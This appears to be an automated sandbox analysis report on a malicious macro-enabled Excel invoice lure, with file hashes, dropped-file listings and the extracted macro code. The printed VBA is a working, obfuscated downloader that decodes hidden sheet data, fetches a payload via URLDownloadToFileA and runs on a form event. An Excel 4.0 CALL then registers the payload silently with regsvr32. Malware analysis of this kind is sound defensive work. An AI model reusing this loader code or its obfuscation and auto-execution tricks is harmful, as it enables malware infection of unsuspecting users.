Preview:	L..................F...........7G..B.M,....B.M,..... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....5R....Desktop.d......QK.X5R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\841618\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......841618..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.633981770780864
Encrypted:	false
SSDEEP:	3:oyBVomxWecl/FlWiL62p/sp6lN6R/FlWiL62p/sp6lmxWecl/FlWiL62p/sp6lv:dj2b6cf0b6cZb6c1
MD5:	52C875172872C1E86ABB927887F3BE55
SHA1:	CD9498C7F86EE30388E4B62A832ADF11439F7039
SHA-256:	C1B02934C56DD0E6888523993318D5C76FC502CE2C73D429B1F8EAD4F863F8DA
SHA-512:	2C4B1734CB6F47D09E6386D9C2F2C4E8B3A5D91A6016290E6A1A5544BB50E4AE8F743E308517582B94D78DBDFA73356BAE4C82651DE90BD3FF6BEF36227FD34D
Malicious:	false
Preview:	Desktop.LNK=0..[misc]..printouts of outstanding as of 01_20_2021.LNK=0..printouts of outstanding as of 01_20_2021.LNK=0..[misc]..printouts of outstanding as of 01_20_2021.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\printouts of outstanding as of 01_20_2021.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Jan 20 23:12:58 2021, atime=Wed Jan 20 23:13:00 2021, length=54601, window=hide
Category:	dropped
Size (bytes):	2348
Entropy (8bit):	4.555912068249222
Encrypted:	false
SSDEEP:	24:8G5/XTd6jFyqqbe7AIEDv3qgdM7dD2G5/XTd6jFyqqbe7AIEDv3qgdM7dV:8e/XT0jF5OggQh2e/XT0jF5OggQ/
MD5:	D20893AB2B73DFFB6F117A54835CA1E0
SHA1:	AFCF9C0192F99411AA62831CFC9FFF1D7031571E
SHA-256:	1EA247C062A7554D42366FFF7CC0EFED238DF175E4FE1DEC1C1724787336B219
SHA-512:	6D2B787F5B2F6C2185757C6196A13568C3A4F8C5CB3073F8F84CFAA88563FB5212642D889E56E97CCD1F33DCCD95F75B915AF198D241663602CC018DA6C0FC21
Malicious:	false
Preview:	L..................F.... ....o.{..B.M,.......-....I............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.p...5R.. .PRINTO~1.XLS..........Q.y.Q.y...8.....................p.r.i.n.t.o.u.t.s. .o.f. .o.u.t.s.t.a.n.d.i.n.g. .a.s. .o.f. .0.1._.2.0._.2.0.2.1...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\841618\Users.user\Desktop\printouts of outstanding as of 01_20_2021.xlsm.E.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.p.r.i.n.t.o.u.t.s. .o.f. .o.u.t.s.t.a.n.d.i.n.g. .a.s. .o.f. .0.1._.2.0._.2.0.2.1...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.

C:\Users\user\Desktop\EC1F0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	54601
Entropy (8bit):	7.811133847012313
Encrypted:	false
SSDEEP:	1536:Xp7MJ+BqkDpBIsqBJGu+2Ug5M9PF9sqcB99O3:Xps0xDplKIu3UBTC9A
MD5:	35A9FDF89660390F074B71D0AC45BBA1
SHA1:	B50EF4640F3D9B2FA027C2736F22B632AC143DD9
SHA-256:	F27EBDF0CFE9FD8917A6D2495C6F8C7BE8C991B9F922970955E81804553886BD
SHA-512:	43C5C846473416EF77CA713E43A734D866F42CCBEADDD3D66972C95B732448158ED8BB7202C243DF55A7A6FE24ABE28838D6B8453E0F84D0138E95E581C51DFE
Malicious:	false
Preview:	...n.0.E.......D'..(,g..4@R.[..I....(..w(9N..a...E.{f.....I....sr..H...B.'?....I.....FCN.........OP.}N....J=.A1....WJ.....U.2.c......F..!..l.7P.'....o..l.&........V....J.].@RS..Ca..B..[...5@P2.N .=@...'t.iuu......+@...6.+.....fR.}.2Tv..ZX....!....I.\|.Q...3V8....*'.H..wL...V.g.v[cv.t...\|.-..u.)...l+.../%.!u.wRO.....z)..]0.nK.y{......&..s.....{......>.....:...}.K.g..4.mc.M..5sP<.lb....O.8..p{z...u?..p......p=.......A..1?..BL4.f....<dK._ec.8...z....../.%.S.F....l.j.G".....).q..P..i..c........PK..........!.aQ._............[Content_Types].xml ...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$printouts of outstanding as of 01_20_2021.xlsm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.676195161958508
TrID:	Excel Microsoft Office Open XML Format document with Macro (57504/1) 54.50% Excel Microsoft Office Open XML Format document (40004/1) 37.92% ZIP compressed archive (8000/1) 7.58%
File name:	printouts of outstanding as of 01_20_2021.xlsm
File size:	38038
MD5:	28e9c78dcffb4a80c7bcfcd818791940
SHA1:	0f239865c9e2bdd64d2017c7d26cac19dc7d3cde
SHA256:	09cceb619174c99d026734f860f26cda0107af31b9153a9f7d6613c86fd57772
SHA512:	082d84c5d6b4442f0c6d10231c0368e74906a62348aaf7bb070a602695f9420abc3aa2cce28dfeaaaae784ba7e96a8008ab9e9d5bd6f2a5dfb591e8c8f5729fc
SSDEEP:	768:IxPLv4xxXRG9HR4sjVpVNsz/LaR+ZUmlmWPwkGq/gR9uVQ4:aPb4xxXizgu+ZMFq/gR9M
File Content Preview:	PK..........!..qr.............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	2

OLE File "/opt/package/joesandbox/database/analysis/342170/sample/printouts of outstanding as of 01_20_2021.xlsm"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Author:	msc.com
Last Saved By:
Create Time:	2021-01-20T10:44:11Z
Last Saved Time:	2021-01-20T11:03:27Z
Security:	0

Document Summary
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 5186

General
Stream Path:	VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	5186
Data ASCII:	. . . . . $ . . . v . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . 2 . . . . . . . . . . . . . . . . . . 4 . . . . . D . . . . . . . . < . . . . . . . . . . . . . . . . . . . U R L D o w n l o a d T o F i l e A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 03 24 01 00 00 76 07 00 00 08 01 00 00 e4 01 00 00 ff ff ff ff a4 07 00 00 08 10 00 00 00 00 00 00 01 00 00 00 23 f3 ee 32 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 34 00 00 00 00 00 44 02 20 00 00 00 ff ff 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 ff ff ff ff 01 00 00 00 ff

VBA Code Keywords

Keyword
#Else
"urlmon"
Resume
fillename
Randomize:
Ada(u)
Long,
"mo")
ol).value
hokkkk(s,
redline(ellysio))
PtrSafe
Declare
Next:
dwReserved
Rnd))
String,
sb_t()
pCaller
String
Sheets(s).UsedRange.SpecialCells(xlCellTypeConstants):
ol).Name
Split(govs,
"="):
"forsS_"
directoo
Split(kij(ol),
LongPtr,
redline
Sheets(ol).Cells(aa,
homedep
ellysio
Integer:
ByVal
P_Click_Box
redline(Oa))),
redline(yel
Integer)
ellysio()
Split(StrConv(m,
Sheets(ol).Cells(ellysio,
"URLDownloadToFileA"
Integer
gogog()
nimo(Int((UBound(nimo)
Error
UBound(Ada)
Attribute
LBound(Ada)
szURL
VB_Name
fillename,
gogog
Function
"mo":
szFileName
LongPtr
homedep(nimo
lpfnCB
Alias
Variant)
Private
hokkkk

VBA Code

Attribute VB_Name = "Module1"
#If VBA7 And Win64 Then
    Private Declare PtrSafe Function P_Click_Box Lib "urlmon"       Alias "URLDownloadToFileA" (         ByVal pCaller As LongPtr,         ByVal szURL As String,         ByVal szFileName As String,         ByVal dwReserved As LongPtr,         ByVal lpfnCB As LongPtr       ) As Long
#Else
    Private Declare Function P_Click_Box Lib "urlmon"       Alias "URLDownloadToFileA" (         ByVal pCaller As Long,         ByVal szURL As String,         ByVal szFileName As String,         ByVal dwReserved As Long,         ByVal lpfnCB As Long       ) As Long
#End If



Function sb_t()
sb_t = hokkkk(4, 4) & hokkkk(3, 55)
End Function

Function hokkkk(s, j As Integer)
If j > 5 Then jj = 1 Else jj = -1
For Each u In Sheets(s).UsedRange.SpecialCells(xlCellTypeConstants): m = u: Next
v1 = Split(StrConv(m, 64), Chr(0)): For Each vv1 In v1: On Error Resume Next: k = k & Chr(Asc(vv1) + jj): Next: hokkkk = k
End Function
Function ellysio()
ellysio = 5 - 3
End Function
Function redline(yel As Integer)
redline = "$"
If yel = 2 Then redline = "]"
End Function
Function mi_1(Optional wq As Integer) As Integer
Dim O As Integer: Dim Oa As Integer: ol = 1
Sheets(ol).Cells(ellysio, ol).Name = oo2 & "mo":
govs = sb_t
Oa = 9: kij = Split(govs, "="): Ada = Split(kij(ol), redline(ellysio))
aa = 2

For u = 1 To UBound(Ada) - LBound(Ada) + 1
On Error Resume Next
Sheets(ol).Cells(aa, ol).value = "=" & Ada(u)
Run (oo2 & "mo")
If u = 13 Then directoo = gogog
If u = 15 Then
fillename = gogog
P_Click_Box 0, homedep(Split(kij(0), redline(Oa))), directoo & "\" & fillename, 0, 0
End If
Next
Sheets(ol).Range("A1:B5").Clear
End Function
Function oo2()
oo2 = "forsS_"
End Function
Function homedep(nimo As Variant) As String
Randomize: df = 2 - 1: homedep = nimo(Int((UBound(nimo) + df) * Rnd))
End Function

Function gogog()
gogog = Sheets(1).Range("B1:B5").SpecialCells(xlCellTypeConstants)
End Function

VBA File Name: Sheet1.cls, Stream Size: 1479

General
Stream Path:	VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	1479
Data ASCII:	. . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . v b o x 1 _ c l i , 1 , 0 , M S F o r m s , F r a m e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . .
Data Raw:	01 16 03 00 00 13 01 00 00 a5 03 00 00 f7 00 00 00 23 02 00 00 ff ff ff ff ac 03 00 00 98 04 00 00 00 00 00 00 01 00 00 00 23 f3 00 d5 00 00 ff ff 63 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
VB_Name
VB_Creatable
VB_Exposed
Frame"
VB_Customizable
VB_Control
VB_TemplateDerived
MSForms,
False
Attribute
Private
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "vbox1_cli, 1, 0, MSForms, Frame"
Sub Resize1Pages6()
mi_1
End Sub
Private Sub vbox1_cli_Layout()
t = 6: t = t * t: mi_1
End Sub

VBA File Name: Sheet2.cls, Stream Size: 991

General
Stream Path:	VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . # . . ^ . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 23 f3 9d 5e 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
Stream Path:	VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	999
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . # . . r . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 23 f3 c9 72 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"ThisWorkbook"
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 605

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	605
Entropy:	5.19808364053
Base64 Encoded:	True
Data ASCII:	I D = " { 3 8 C 1 2 A 0 A - E 6 4 8 - 4 6 4 5 - A 7 B 8 - E 6 2 A B D C 4 2 5 E 1 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . M o d u l e = M o d u l e 1 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 0 5 0 7 E 1 E B E 1 E F E 5 E F E 5 E F E 5 E F E 5 " . .
Data Raw:	49 44 3d 22 7b 33 38 43 31 32 41 30 41 2d 45 36 34 38 2d 34 36 34 35 2d 41 37 42 38 2d 45 36 32 41 42 44 43 34 32 35 45 31 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: PROJECTwm, File Type: data, Stream Size: 107

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	107
Entropy:	3.24742544165
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3838

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3838
Entropy:	4.51887827492
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2390

General
Stream Path:	VBA/__SRP_0
File Type:	data
Stream Size:	2390
Entropy:	3.38572227344
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ P . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . . . s . . . . L . . . 4 . . Z r
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 03 00 00 00 00 00 01 00 02 00 03 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 347

General
Stream Path:	VBA/__SRP_1
File Type:	data
Stream Size:	347
Entropy:	2.5800525623
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p C a l l e r . . . . . . . . . . . . . . . . s z U R L . . . . . . . . . . . . . . . . s z F i l e N a m e . . . . . . . . . . . . . . . . d w R e s e r v e d . . . . . . . . . . . . . . . . l p f n C B . . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 11 00 00 00 00 00 00 00 00 00 03 00 02 00 00 00 00 00

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 505

General
Stream Path:	VBA/__SRP_2
File Type:	data
Stream Size:	505
Entropy:	2.4067697489
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . h . . . . .
Data Raw:	72 55 00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 10 00 00 00 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 696

General
Stream Path:	VBA/__SRP_3
File Type:	data
Stream Size:	696
Entropy:	2.24538637402
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . h . . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ! . . . . . . . . . . . Q . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 68 00 e1 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 70 14 00 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: VBA/dir, File Type: data, Stream Size: 842

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	842
Entropy:	6.51749232573
Base64 Encoded:	True
Data ASCII:	. F . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . I . a . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:	01 46 b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 ab 49 f7 61 01 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Macro 4.0 Code

CALL(wegb&o0, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r"&w00&"gsvr"&o0, " -s "&bb&ab, 0, 0)

"=CALL(wegb&o0,""S""&ohgdfww&""A"",i0&i0&""CCCC""&i0,0,v0&""p""&w00&""n"",""r""&w00&""gsvr""&o0,"" -s ""&bb&ab,0,0)",zdkvrlsh.dll,,,,,,,,,,,,,,,,,,,,,,,,,,=RETURN(),

OLE File "/opt/package/joesandbox/database/analysis/342170/sample/printouts of outstanding as of 01_20_2021.xlsm"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Summary
Author:	msc.com
Last Saved By:
Create Time:	2021-01-20T10:44:11Z
Last Saved Time:	2021-01-20T11:03:27Z
Security:	0

Document Summary
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 112

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	112
Entropy:	4.6011544911
Base64 Encoded:	False
